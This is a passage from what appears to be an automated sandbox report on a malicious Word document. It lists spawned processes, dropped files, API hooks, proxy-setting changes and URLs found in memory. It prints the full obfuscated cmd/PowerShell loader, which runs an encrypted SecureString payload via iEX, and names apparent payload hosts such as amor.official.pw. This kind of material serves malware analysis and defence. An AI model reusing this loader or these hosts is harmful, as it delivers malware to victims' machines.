ADAANwBmAGUANQAzAGEAYgA3ADEAYQBlAGYAZgA0ADEAMAAwADMANgA0ADMAOQAzADMAYQA0ADkANwBmADAAMABlAGUAMQBmADAANgAyADgANAA0ADUAOQBiADQAYQA1ADkANABiAGUAZAA1AGYAOQA3ADEANAA1AGYAYQBkADYAMABkAGIAMwBhAGEAMgA3AGMAZAA1ADUAOQA3ADAAMwAwAGIAOQA3ADkAMAAxADkAZAAxADgANwBlADAAOQBlADkAOQBmADMAZAA0ADUAOQA3ADQAMAA3AGMAYwA4ADIANgA5ADAAMgBmADgAYQAxAGEANgA2AGYAMwAzADAAZQAyAGYAMQBiADIANQA2ADIANQBmAGEAZABiADQAMAA5AGUAOQA1AGEAYgBhADAAOAAyADYANgAyAGEAZQBkAGUAZgBhADYAYQBkADAAMQAyADIANgAzAGEAZABiAGUANgAyADkAYgA3ADIAZAAzAGYAMwAyADAAMwBjAGMAYQBmAGYAMgBmAGUAMQBmAGUAMAA2AGMAZABlAGUAZgBkAGQANgAxAGIAMwAyADYANQA0ADgAOAA3ADEANgAwAGIANABhAGMANABkADEAZgBlAGIANABiAGYAMABkADAAOQBhADcAMABlAGQAYgAyAGQAMAAwAGIAOQAxADcAMgBlAGIANQAxADcAOAAyADQANQA4ADMAYgA5AGIAZAA4ADAAMgBiADgAYwBhAGYAMgAxADYAMQA4ADkAYwA5ADEANwBhADEANgA2ADcAYgBjADUAOAAxADUAYQBkAGMAYwAyADgAZQAxAGUAZQBiADQANgBhADUANABlAGQAYwA1ADMAZgA1ADcANAA1ADEAMQA1AGUAZgAyAGQAYgAzADUANgBmADUAYgAxADYANwAxADcANQA2AGIAMgA5AGYAMwA5ADQAMABmADkANgA1ADgAZQA4ADcAMgBkADMAYgAzAGUAOABiADUAOQBiADMAYgAzADMAYgBjADMAYgBjADMAYQAzAGQAOQA4ADUAOAA4ADgAMAAzADYAYwAyADUANgA3ADcAYQA3AGEANgAzAGUAMQBhADAAZABhAGMAZQBjAGYANQA5ADUAYwA0AGQAYQAyADEAZABiAGMAMQBiADcAMwA3ADYAYwAyADIANAA5AGEAMQAzAGYAZgAzADYANAA2AGIAMgBjAGYAZQBlADkAMQA3ADcAYwBmADgAZQA1ADIAYgA3ADQAZAA2ADgANQA4ADAAMwAxADMAYwBjADAAOQAxADAAOQAwAGMANwAxADkAOQA2ADkAMgBlAGMAZgA3AGMAMgBmADcANwA3ADYAOQAxADAAMAAzADkAMwAzADkAZgA1AGUAYgBkADUAOQA1ADAAYgA1ADQAOAA2AGQAMABhADMANAA3ADMANQA0ADAANwA0ADIANwAxADkAMgA1AGUANABhAGMAYgAyADQAYgA1AGIAYQAzADcAZgA1ADIAOABkAGIAYgA0ADEAOAA3AGUAZgBmAGYAYgAyADQAYwA0ADUAZQBjADgAYwA0ADUAOABjADcAYwBkADMAZgA5ADcAZgBlADcANAAyADIAZgA4AGQANQA4AGUAOQBhADIAOAA0ADgANgA0ADIAMQA2AGQAYwAwAGIAMwA0AGQAZgBlAGUAYwBlAGUAYQAyAGQAZQA2ADUAZgA1ADcANAAyAGUANwAwADYANgA5ADYANwBkAGMAZAAzAGYANQBjADUAMABhADMAMQBkADYAMwAyADMAYwBiADAAMQBiAGYAYgA3ADMAYQA2AGMANAA1AGEAMQAyADgANQA5AGUAMQA4ADYAOABlADkAYwA1ADMAMwA2ADIAMQA1ADIAYwAxAGYAZQA2ADYAZABlAGEAMAA1AGEAYgAzAGUAZAA3AGYAYgBkAGIANAAwAGYAZABmAGMAZAAzADgAYgAxADEAMgA4AGIAYwA1ADMAMgA5AGQANQAyAGUAMQA2ADAAMwA3AGQAMgBmAGYAOABiAGIAYQA2ADcAMwAzADAAZAAxADEAZgAxADgAOQBhAGIAZgBlADkAYwAwADIAMQA2ADcAMgA5ADkANQBhADcAYgA4ADUAZABhADkAMAA4ADkAOQA0ADUAOQBmADcAMgA3ADMAYwAzADIANQBiADMAZABlAGQANAA5ADgAMABmAGYAZQBiAGYANwAzAGUAZABhAGMAMgA1AGEAYgA1ADMAOAA1ADUAYwAyAGIAMwA3ADIANwA5ADEANAA1ADIAOAAyAGYAOAA5ADgAMQBhADEAYgAzADMANQBmADAAOQAwADMAZgAxAGIAZAA2ADQAYQA4ADIANQBkADMAZgBlADgAZgBlADQANAA4ADMAZQAyADQAMQA1ADIAYQBiAGMANgA4ADQAYwBhADkAZABmADEAOAAxADEAYwAzADQAMgA4ADcAOAAwADAAOAA1ADQAMAA2ADEAYQBjAGUAYwBjADMAZgA2ADkANQA2ADIAYQBlADIAZAAwADMANQA0ADYAYwA3ADIAMwA1AGYANABhADYAOQBmADIAYQBhADUAMgBiADgAZABmADgAYQA2ADQAMwAxAGQAMAA3ADYAMgAxADEAYgBiADUAYQA1AGYAOAAzADQANwAwADUAZgBiAGYANQBhADEAMABlADIAYwBmADEAMwA2ADAANQAxADAAMQBmAGQAZAAxADYANwBiADIAMQBlADIAYQAyAGIAYQBiAGIAMAA2ADIAYgA1ADIANwBmAGUAYgA4ADkANgA4ADEAYgBkAGQANAAxADMAMABhAGMAOABiAGYAMwAxAGMAZQBiADkAMgBhADEAOQBhADAAZQBmAGMAOQA2AGEAZgAwAGYANQBkAGMAYQA0AGYANgAwAGMAYgA0AGMAMwBlAGIANwBmADQAMAA2ADAANgBlADYAOQBjADUAYQA2ADgAMgA5ADUAYwBmADAAYwA5ADIAYwA0ADcAYwA4ADYAOQBlADEAMgAxAGEAZAAxAGQANwA4AGQAYgAwAGIAMwBkADQAYgA3ADUAZAAwADcAYQA3ADAAYQAyADYAOAA5AGMAYgBiAGYAMwA2AGUAYwAzADIAZQA2ADIAMgA3AGQAYwAyAGEAOQAyADcANwAyADUAYQA5ADkAYwBkADgANgBlADEANAA3ADUAYQA4ADgAYQA4AGUAMgBiAGMAOABkAGUAZQAzADUAMgAzADEANwA1ADAAOABmADcAMQAwAGUAZgA3AGMAMgA2AGYAYgA5AGQAOAA2ADkAMQBjAGMAZAAyADIAMgBiADcAMAAzADMANQA4ADgAOABkAGMAOAAxADQAZABhADQANQA3ADAAZgBhADkANwAzAGUAMQA3AGEANAAzADgAOQA0ADUAMgAwAGUAOQBhADAANwA1AGYAMAAzADcAMABjAGUAMgBjADcAMQBmADUAMwBhADIAZgAwAGYAOABiAGIAMABlAGIAYgBjADMAOQBlADQANwA3AGEAZgA2AGQAMQA3AGUAZQBmADQAYQA1AGMAMQBkADcAYgA4ADEANwAwADIANgAyAGMANwA0AGEAYgAyADIAYgBkADYAZQBlADAAYQA2ADEAZgA5AGMANQA3AGMAMgBlADQANAA2ADkAOAAxADgANgBlADAAMgAwADgAOQA0ADEAOQBhADYAMQA2AA==' |ConVerTTO-secuREStrING -KEy (146..169)) ))))" (Show Process), Spawned process "powershell.exe" with commandline "powershell "iEX(( [RuNTime.InteropsErviCEs.maRsHaL]::PTrTOsTRinGAUto( [rUNtImE.iNTERoPSERVIceS.marsHAL]::SecUReStriNGTOBSTR($('76492d1116743f0423413b16050a5345MgB8AGUAQgBpAFgAawBzAGMATgBrAEgAQgBiAE4AUAB2AFUATgBPAHkAMQBuAGcAPQA9AHwAZABhAGQAMgA1ADUAMwBjAGIAMwA0ADEANABlAGQAZQA4ADEAZAA3ADIAMAA3ADYAYgA5ADcAZQA5ADgAYgA4ADMAMgAwAGEANABiAGIAZQBiADgAOAA3AGQAMgAyAGUAOQA4AGEAZABlADcAYQBlADQAYQA5AGYAZABlADQAMwBhAGYAMgAyADcANgAxADAAYgA5ADcAYgA1ADIAOQBmAGQAZQA3ADIAZABiADAAYwA5ADkAOABiAGQAMQBlADEAMgBmADkANABjADkAMgAxADAAOAA1ADkAMwBjADcAZgBlAGIAZAA4AGMAZgA2AGQAZQBiAGMANwBmADYANQA0ADIANgBmAGIANwA2ADYAZAAyADkAMQAwADUAZQA0ADMAMgA1AGIAOQBiAGEAYgA4ADgANgA3ADQAMAAzADYAYgA3AGEANwA3ADUANQA5AGUANwAxAGIAMQAyAGMAMAA0AGMAZgA4AGMANAA0AGMAYQA5ADYAYwA5AGYANQAzADMAMAA3ADQAMAA5AGMAMgA1ADUAMQAxAGEAYgA0ADIAZQBjADQAZAAzAGUAOQAxAGUANABmADYAMgA2AGIANgBmADAAMQAwADMANgA3ADkAMAAzADMAZQA5ADgANgA1AGUAMABkADQANQA3AGQANAAzADMANABmAGQAOQA1AGQAOABiADgANQBiADAAZABiAGIAMQA5ADcAOAA4ADAAZQA4AGYAMAA4ADcAMgA2ADQAOQBiAGMAYQAwADQAZQAxADkAYwBiAGYANgA4ADEANQBiADMAMgAxADkAZQBiADQAZAAxADUAOQA5AGIANgA1AGYAMwBhAGIAZgA3ADgANQBiAGEAMQAzADMAYwA0ADkANwA1ADIAOAAzADkAZQBiADAAMwAwAGQAMQA4ADEAOABlADUANgAxADAAMgA2ADAAMgAwADcANQAwADYAZgBiAGQAMQBjADcANABiAGMAOAA4ADIANwAyAGUAZAA4AGUAMwA0AGQANAAxADEAMAA2ADcAMQA3ADAAMQBkADIANAAyADEANgAzAGIAMwA1ADMAZAA4ADMANABmAGQAMQBiAGIANwBmAGQAMgAzADUAMgA4AGEANwA1ADIAZgA2ADYAYwA3ADAAOAA4AGUANwA0ADcANwBjADUAMgBlAGUAZQBhADkANwA3ADcAZQBjAGUAMAA1ADYAMQBkAGYAMABmAGMAYwBhADYAMwA2ADkAOQBlADQANQBmAGMAZAAwADMAOABjAGEAMgAzADcANQAyADQAYQA3AGIAYQA4AGUAYgA5AGIANgBlADgAZABiAGYANwA2ADYANQAyAGYANQBmAGEAZgBmAGUAMwA4ADkAYwA4ADEAZQA0AGIAMQBjADgAOAA3ADYANgBiADEANABhADYAOAA4AGUAOABjADYAOAAzAGEANwA2ADAAMQBjADEAOABjADkAOQAyAGUAYwA0ADMAOQA4ADAAMAAwAGYAOABmADYAMQA4ADgAMAA5AGMAMgAxADMANgBmADAANwBmAGUANQAzAGEAYgA3ADEAYQBlAGYAZgA0ADEAMAAwADMANgA0ADMAOQAzADMAYQA0ADkANwBmADAAMABlAGUAMQBmADAANgAyADgANAA0ADUAOQBiADQAYQA1ADkANABiAGUAZAA1AGYAOQA3ADEANAA1AGYAYQBkADYAMABkAGIAMwBhAGEAMgA3AGMAZAA1ADUAOQA3ADAAMwAwAGIAOQA3ADkAMAAxADkAZAAxADgANwBlADAAOQBlADkAOQBmADMAZAA0ADUAOQA3ADQAMAA3AGMAYwA4ADIANgA5ADAAMgBmADgAYQAxAGEANgA2AGYAMwAzADAAZQAyAGYAMQBiADIANQA2ADIANQBmAGEAZABiADQAMAA5AGUAOQA1AGEAYgBhADAAOAAyADYANgAyAGEAZQBkAGUAZgBhADYAYQBkADAAMQAyADIANgAzAGEAZABiAGUANgAyADkAYgA3ADIAZAAzAGYAMwAyADAAMwBjAGMAYQBmAGYAMgBmAGUAMQBmAGUAMAA2AGMAZABlAGUAZgBkAGQANgAxAGIAMwAyADYANQA0ADgAOAA3ADEANgAwAGIANABhAGMANABkADEAZgBlAGIANABiAGYAMABkADAAOQBhADcAMABlAGQAYgAyAGQAMAAwAGIAOQAxADcAMgBlAGIANQAxADcAOAAyADQANQA4ADMAYgA5AGIAZAA4ADAAMgBiADgAYwBhAGYAMgAxADYAMQA4ADkAYwA5ADEANwBhADEANgA2ADcAYgBjADUAOAAxADUAYQBkAGMAYwAyADgAZQAxAGUAZQBiADQANgBhADUANABlAGQAYwA1ADMAZgA1ADcANAA1ADEAMQA1AGUAZgAyAGQAYgAzADUANgBmADUAYgAxADYANwAxADcANQA2AGIAMgA5AGYAMwA5ADQAMABmADkANgA1ADgAZQA4ADcAMgBkADMAYgAzAGUAOABiADUAOQBiADMAYgAzADMAYgBjADMAYgBjADMAYQAzAGQAOQA4ADUAOAA4ADgAMAAzADYAYwAyADUANgA3ADcAYQA3AGEANgAzAGUAMQBhADAAZABhAGMAZQBjAGYANQA5ADUAYwA0AGQAYQAyADEAZABiAGMAMQBiADcAMwA3ADYAYwAyADIANAA5AGEAMQAzAGYAZgAzADYANAA2AGIAMgBjAGYAZQBlADkAMQA3ADcAYwBmADgAZQA1ADIAYgA3ADQAZAA2ADgANQA4ADAAMwAxADMAYwBjADAAOQAxADAAOQAwAGMANwAxADkAOQA2ADkAMgBlAGMAZgA3AGMAMgBmADcANwA3ADYAOQAxADAAMAAzADkAMwAzADkAZgA1AGUAYgBkADUAOQA1ADAAYgA1ADQAOAA2AGQAMABhADMANAA3ADMANQA0ADAANwA0ADIANwAxADkAMgA1AGUANABhAGMAYgAyADQAYgA1AGIAYQAzADcAZgA1ADIAOABkAGIAYgA0ADEAOAA3AGUAZgBmAGYAYgAyADQAYwA0ADUAZQBjADgAYwA0ADUAOABjADcAYwBkADMAZgA5ADcAZgBlADcANAAyADIAZgA4AGQANQA4AGUAOQBhADIAOAA0ADgANgA0ADIAMQA2AGQAYwAwAGIAMwA0AGQAZgBlAGUAYwBlAGUAYQAyAGQAZQA2ADUAZgA1ADcANAAyAGUANwAwADYANgA5ADYANwBkAGMAZAAzAGYANQBjADUAMABhADMAMQBkADYAMwAyADMAYwBiADAAMQBiAGYAYgA3ADMAYQA2AGMANAA1AGEAMQAyADgANQA5AGUAMQA4ADYAOABlADkAYwA1ADMAMwA2ADIAMQA1ADIAYwAxAGYAZQA2ADYAZABlAGEAMAA1AGEAYgAzAGUAZAA3AGYAYgBkAGIANAAwAGYAZABmAGMAZAAzADgAYgAxADEAMgA4AGIAYwA1ADMAMgA5AGQANQAyAGUAMQA2ADAAMwA3AGQAMgBmAGYAOABiAGIAYQA2ADcAMwAzADAAZAAxADEAZgAxADgAOQBhAGIAZgBlADkAYwAwADIAMQA2ADcAMgA5ADkANQBhADcAYgA4ADUAZABhADkAMAA4ADkAOQA0ADUAOQBmADcAMgA3ADMAYwAzADIANQBiADMAZABlAGQANAA5ADgAMABmAGYAZQBiAGYANwAzAGUAZABhAGMAMgA1AGEAYgA1ADMAOAA1ADUAYwAyAGIAMwA3ADIANwA5ADEANAA1ADIAOAAyAGYAOAA5ADgAMQBhADEAYgAzADMANQBmADAAOQAwADMAZgAxAGIAZAA2ADQAYQA4ADIANQBkADMAZgBlADgAZgBlADQANAA4ADMAZQAyADQAMQA1ADIAYQBiAGMANgA4ADQAYwBhADkAZABmADEAOAAxADEAYwAzADQAMgA4ADcAOAAwADAAOAA1ADQAMAA2ADEAYQBjAGUAYwBjADMAZgA2ADkANQA2ADIAYQBlADIAZAAwADMANQA0ADYAYwA3ADIAMwA1AGYANABhADYAOQBmADIAYQBhADUAMgBiADgAZABmADgAYQA2ADQAMwAxAGQAMAA3ADYAMgAxADEAYgBiADUAYQA1AGYAOAAzADQANwAwADUAZgBiAGYANQBhADEAMABlADIAYwBmADEAMwA2ADAANQAxADAAMQBmAGQAZAAxADYANwBiADIAMQBlADIAYQAyAGIAYQBiAGIAMAA2ADIAYgA1ADIANwBmAGUAYgA4ADkANgA4ADEAYgBkAGQANAAxADMAMABhAGMAOABiAGYAMwAxAGMAZQBiADkAMgBhADEAOQBhADAAZQBmAGMAOQA2AGEAZgAwAGYANQBkAGMAYQA0AGYANgAwAGMAYgA0AGMAMwBlAGIANwBmADQAMAA2ADAANgBlADYAOQBjADUAYQA2ADgAMgA5ADUAYwBmADAAYwA5ADIAYwA0ADcAYwA4ADYAOQBlADEAMgAxAGEAZAAxAGQANwA4AGQAYgAwAGIAMwBkADQAYgA3ADUAZAAwADcAYQA3ADAAYQAyADYAOAA5AGMAYgBiAGYAMwA2AGUAYwAzADIAZQA2ADIAMgA3AGQAYwAyAGEAOQAyADcANwAyADUAYQA5ADkAYwBkADgANgBlADEANAA3ADUAYQA4ADgAYQA4AGUAMgBiAGMAOABkAGUAZQAzADUAMgAzADEANwA1ADAAOABmADcAMQAwAGUAZgA3AGMAMgA2AGYAYgA5AGQAOAA2ADkAMQBjAGMAZAAyADIAMgBiADcAMAAzADMANQA4ADgAOABkAGMAOAAxADQAZABhADQANQA3ADAAZgBhADkANwAzAGUAMQA3AGEANAAzADgAOQA0ADUAMgAwAGUAOQBhADAANwA1AGYAMAAzADcAMABjAGUAMgBjADcAMQBmADUAMwBhADIAZgAwAGYAOABiAGIAMABlAGIAYgBjADMAOQBlADQANwA3AGEAZgA2AGQAMQA3AGUAZQBmADQAYQA1AGMAMQBkADcAYgA4ADEANwAwADIANgAyAGMANwA0AGEAYgAyADIAYgBkADYAZQBlADAAYQA2ADEAZgA5AGMANQA3AGMAMgBlADQANAA2ADkAOAAxADgANgBlADAAMgAwADgAOQA0ADEAOQBhADYAMQA2AA==' |ConVerTTO-secuREStrING -KEy (146..169)) ))))" (Show Process)
      Spawned process "195082.exe" (Show Process)
      Spawned process "195082.exe" (Show Process)
      source
      Monitored Target
      relevance
      3/10
  • Installation/Persistance
    • Dropped files
      details
      "195082.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"
      "~$9168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc" has type "data"
      "129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.LNK" has type "MS Windows shortcut Item id list present Points to a file or directory Has Relative path Archive ctime=Wed Jan 31 09:15:39 2018 mtime=Wed Jan 31 09:15:39 2018 atime=Wed Jan 31 09:16:04 2018 length=226304 window=hide"
      "~WRS{6F053C44-FAC4-4CB6-B75C-D30842EE3494}.tmp" has type "data"
      "index.dat" has type "data"
      "8TCMB5ZGMHB3S9U7XP4L.temp" has type "data"
      "~$Normal.dotm" has type "data"
      source
      Binary File
      relevance
      3/10
    • Opens the MountPointManager (often used to detect additional infection locations)
      details
      "powershell.exe" opened "\Device\MountPointManager"
      source
      API Call
      relevance
      5/10
    • Touches files in the Windows directory
      details
      "WINWORD.EXE" touched file "C:\Windows\Globalization\Sorting\SortDefault.nls"
      "WINWORD.EXE" touched file "C:\Windows\Microsoft.NET\Framework64\v2.0.50727\clr.dll"
      "WINWORD.EXE" touched file "C:\Windows\Microsoft.NET\Framework64\v2.0.50727\mscorwks.dll"
      "WINWORD.EXE" touched file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll"
      "WINWORD.EXE" touched file "C:\Windows\System32\en-US\user32.dll.mui"
      "WINWORD.EXE" touched file "%LOCALAPPDATA%\Microsoft\Windows\Caches"
      "WINWORD.EXE" touched file "C:\Windows\System32\rsaenh.dll"
      "WINWORD.EXE" touched file "C:\Windows\System32\en-US\KernelBase.dll.mui"
      "WINWORD.EXE" touched file "C:\Users\%USERNAME%\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{6F053C44-FAC4-4CB6-B75C-D30842EE3494}.tmp"
      "WINWORD.EXE" touched file "C:\Windows\System32\en-US\msctf.dll.mui"
      "WINWORD.EXE" touched file "C:\Users\%USERNAME%\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{66758469-FC90-43A0-9F39-0EC9C13436FC}.tmp"
      "WINWORD.EXE" touched file "C:\Users\%USERNAME%\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRF{031F2E9C-5864-470B-B484-C4455FED1851}.tmp"
      "WINWORD.EXE" touched file "C:\Users\%USERNAME%\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRF{031F2E9C-5864-470B-B484-C4455FED1851}.tmp"
      "WINWORD.EXE" touched file "C:\Windows\System32\stdole2.tlb"
      "WINWORD.EXE" touched file "C:\Windows\System32\spool\drivers\x64\3\sendtoonenote.BUD"
      "WINWORD.EXE" touched file "C:\Windows\System32\spool\drivers\x64\3\sendtoonenote.gpd"
      "WINWORD.EXE" touched file "C:\Windows\System32\spool\drivers\x64\3\stdnames.gpd"
      "WINWORD.EXE" touched file "C:\Windows\System32\spool\drivers\x64\3\SendToOneNoteNames.gpd"
      "WINWORD.EXE" touched file "C:\Windows\System32\spool\drivers\x64\3\SendToOneNoteFilter.gpd"
      "WINWORD.EXE" touched file "C:\Windows\System32\spool\drivers\x64\3\SendToOneNote.ini"
      source
      API Call
      relevance
      7/10
  • Network Related
    • Found potential URL in binary/memory
      details
      Pattern match: "http://schemas.openxmlformats.org/drawingml/2006/main"
      Pattern match: "http://dmd.metaservices.microsoft.com/dms/metadata.svc"
      Pattern match: "http://schemas.microsoft.com/windowsmetadata/services/2007/09/18/dms/DeviceMetadataService/GetDeviceMetadata"
      Heuristic match: "GET /msdownload/update/v3/static/trustedr/en/disallowedcertstl.cab?cc1043c359113e4e HTTP/1.1Connection: Keep-AliveAccept: */*If-Modified-Since: Thu, 20 Apr 2017 16:02:20 GMTIf-None-Match: 04e707defb9d21:0User-Agent: Microsoft-CryptoAPI/6.1Hos"
      Heuristic match: "GET /msdownload/update/v3/static/trustedr/en/authrootstl.cab?a2e92fdaed906d8e HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ctldl.windowsupdate.com"
      Heuristic match: "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBS56bKHAoUD%2BOyl%2B0LhPg9JxyQm4gQUf9Nlp8Ld7LvwMAnzQzn6Aq8zMTMCED141%2Fl2SWCyYX308B7Khio%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: s2.symcb.com"
      Pattern match: "http://www.symauth.com/cps0"
      Pattern match: "http://www.symauth.com/rpa0"
      Heuristic match: "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBQe6LNDJdqx%2BJOp7hVgTeaGFJ%2FCQgQUljtT8Hkzl699g%2B8uK8zKt4YecmYCEBuN56dlW1Lzehhu%2FtdSD3U%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: sv.symcd.com"
      Pattern match: "http://www.symauth.com/cps0*"
      Heuristic match: "GET /CRL/Omniroot2025.crl HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: cdp1.public-trust.com"
      Heuristic match: "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBTfqhLjKLEJQZPin0KCzkdAQpVYowQUsT7DaQP4v0cB1JgmGggC72NkK8MCEAt%2BEJA8OEkP%2Bi9nmoehp7k%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.digicert.com"
      Heuristic match: "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBSLIycRsoI3J6zPns4K1aQgAqaqHgQUZ50PIAkMzIo65YJGcmL88cyQ5UACEAG2Yem3HYLmNssdMr3TCFk%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.digicert.com"
      Pattern match: "www.utilitybillingsoftwares.com"
      Pattern match: "http://amor.official.pw/f3sqVF/"
      Pattern match: "http://amor.official.pw/f3sqVF//"
      Pattern match: "passlist.txt/passlist.txt"
      Pattern match: "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"
      Pattern match: "www.erzotech.eu"
      Pattern match: "www.microsoft.com"
      Heuristic match: "amor.official.pw"
      Heuristic match: "t-p-e.net"
      Heuristic match: "$nsadasd = &('n'+'e'+'w-objec'+'t') random;$YYU = .('ne'+'w'+'-object') System.Ne"
      source
      File/Memory
      relevance
      10/10
  • System Security
    • Hooks API calls
      details
      "SysFreeString@OLEAUT32.DLL" in "WINWORD.EXE"
      "OleLoadFromStream@OLE32.DLL" in "WINWORD.EXE"
      "VariantChangeType@OLEAUT32.DLL" in "WINWORD.EXE"
      "SysAllocStringByteLen@OLEAUT32.DLL" in "WINWORD.EXE"
      "VariantClear@OLEAUT32.DLL" in "WINWORD.EXE"
      source
      Hook Detection
      relevance
      10/10
    • Modifies proxy settings
      details
      "powershell.exe" (Access type: "DELETEVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\ZONEMAP"; Key: "PROXYBYPASS")
      "powershell.exe" (Access type: "DELETEVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\ZONEMAP"; Key: "PROXYBYPASS")
      source
      Registry Access
      relevance
      10/10
  • Unusual Characteristics
    • Installs hooks/patches the running process
      details
      "WINWORD.EXE" wrote bytes "e933effefecccc" to virtual address "0xFE301210" ("SysFreeString@OLEAUT32.DLL")
      "WINWORD.EXE" wrote bytes "b9238b267db0d301" to virtual address "0xE9232350" (part of module "OART.DLL")
      "WINWORD.EXE" wrote bytes "e913b0e9ff" to virtual address "0xFD4550C0" ("OleLoadFromStream@OLE32.DLL")
      "WINWORD.EXE" wrote bytes "bffdad267db0d301" to virtual address "0xE7F8D610" (part of module "MSO.DLL")
      "WINWORD.EXE" wrote bytes "346ea7277db0d301" to virtual address "0x3FC23258" (part of module "WINWORD.EXE")
      "WINWORD.EXE" wrote bytes "e94b9ffefecccccccccc" to virtual address "0xFE306230" ("VariantChangeType@OLEAUT32.DLL")
      "WINWORD.EXE" wrote bytes "e9abc0fefecc" to virtual address "0xFE304060" ("SysAllocStringByteLen@OLEAUT32.DLL")
      "WINWORD.EXE" wrote bytes "8c61dd267db0d301" to virtual address "0xF157DE48" (part of module "RICHED20.DLL")
      "WINWORD.EXE" wrote bytes "48b8bc52b7e6fe070000ffe0" to virtual address "0x76DF9020" ("SetUnhandledExceptionFilter@KERNEL32.DLL")
      "WINWORD.EXE" wrote bytes "6c5d89267db0d301" to virtual address "0xEB2371C0" (part of module "WWLIB.DLL")
      "WINWORD.EXE" wrote bytes "c04e8b267db0d301" to virtual address "0xF1CAFA00" (part of module "GFX.DLL")
      "WINWORD.EXE" wrote bytes "901bdc7f7db0d301" to virtual address "0xF24125D8" (part of module "MSPROOF7.DLL")
      "WINWORD.EXE" wrote bytes "e933f0fefe" to virtual address "0xFE301180" ("VariantClear@OLEAUT32.DLL")
      "WINWORD.EXE" wrote bytes "ac68cf267db0d301" to virtual address "0xF16F0160" (part of module "MSPTLS.DLL")
      "powershell.exe" wrote bytes "65488b042580150000" to virtual address "0xF0B9863C" (part of module "MSCORWKS.DLL")
      "powershell.exe" wrote bytes "65488b042588150000" to virtual address "0xF0B98C0B" (part of module "MSCORWKS.DLL")
      "powershell.exe" wrote bytes "654c8b1c2580150000" to virtual address "0xF0B974FB" (part of module "MSCORWKS.DLL")
      "powershell.exe" wrote bytes "65488b042588150000" to virtual address "0xF0B98C4B" (part of module "MSCORWKS.DLL")
      "powershell.exe" wrote bytes "654c8b1c2580150000" to virtual address "0xF0B9743F" (part of module "MSCORWKS.DLL")
      "powershell.exe" wrote bytes "65488b042580150000" to virtual address "0xF0B97A44" (part of module "MSCORWKS.DLL")
      source
      Hook Detection
      relevance
      10/10
    • Invokes a process with a very long commandline
      details
      "cmd jTEAdZpiDaiYz qjMfFiOJizKUzshGiIowLoWFqV KkWYSZzkWIXn & %C^om^S^pEc% %C^om^S^pEc% /V /c set %btHkJMzDjjiWVZK%=WYrzozjmBIwYc&&set %var1%=p&&set %var2%=ow&&set %ArQWcsLIfSRKwwT%=DWcTblEVs&&set %var7%=!%var1%!&&set %sdJUjBQbairSAth%=hrFapszPTzlTFB&&set %var3%=er&&set %var8%=!%var2%!&&set %var4%=s&&set %PnudkPBnvRAjVPb%=DdvUuuz&&set %var5%=he&&set %var6%=ll&&!%var7%!!%var8%!!%var3%!!%var4%!!%var5%!!%var6%! "iEX(( [RuNTime.InteropsErviCEs.maRsHaL]::PTrTOsTRinGAUto( [rUNtImE.iNTERoPSERVIceS.marsHAL]::SecUReStriNGTOBSTR($('76492d1116743f0423413b16050a5345MgB8AGUAQgBpAFgAawBzAGMATgBrAEgAQgBiAE4AUAB2AFUATgBPAHkAMQBuAGcAPQA9AHwAZABhAGQAMgA1ADUAMwBjAGIAMwA0ADEANABlAGQAZQA4ADEAZAA3ADIAMAA3ADYAYgA5ADcAZQA5ADgAYgA4ADMAMgAwAGEANABiAGIAZQBiADgAOAA3AGQAMgAyAGUAOQA4AGEAZABlADcAYQBlADQAYQA5AGYAZABlADQAMwBhAGYAMgAyADcANgAxADAAYgA5ADcAYgA1ADIAOQBmAGQAZQA3ADIAZABiADAAYwA5ADkAOABiAGQAMQBlADEAMgBmADkANABjADkAMgAxADAAOAA1ADkAMwBjADcAZgBlAGIAZAA4AGMAZgA2AGQAZQBiAGMANwBmADYANQA0ADIANgBmAGIANwA2ADYAZAAyADkAMQAwADUAZQA0ADMAMgA1AGIAOQBiAGEAYgA4ADgANgA3ADQAMAAzADYAYgA3AGEANwA3ADUANQA5AGUANwAxAGIAMQAyAGMAMAA0AGMAZgA4AGMANAA0AGMAYQA5ADYAYwA5AGYANQAzADMAMAA3ADQAMAA5AGMAMgA1ADUAMQAxAGEAYgA0ADIAZQBjADQAZAAzAGUAOQAxAGUANABmADYAMgA2AGIANgBmADAAMQAwADMANgA3ADkAMAAzADMAZQA5ADgANgA1AGUAMABkADQANQA3AGQANAAzADMANABmAGQAOQA1AGQAOABiADgANQBiADAAZABiAGIAMQA5ADcAOAA4ADAAZQA4AGYAMAA4ADcAMgA2ADQAOQBiAGMAYQAwADQAZQAxADkAYwBiAGYANgA4ADEANQBiADMAMgAxADkAZQBiADQAZAAxADUAOQA5AGIANgA1AGYAMwBhAGIAZgA3ADgANQBiAGEAMQAzADMAYwA0ADkANwA1ADIAOAAzADkAZQBiADAAMwAwAGQAMQA4ADEAOABlADUANgAxADAAMgA2ADAAMgAwADcANQAwADYAZgBiAGQAMQBjADcANABiAGMAOAA4ADIANwAyAGUAZAA4AGUAMwA0AGQANAAxADEAMAA2ADcAMQA3ADAAMQBkADIANAAyADEANgAzAGIAMwA1ADMAZAA4ADMANABmAGQAMQBiAGIANwBmAGQAMgAzA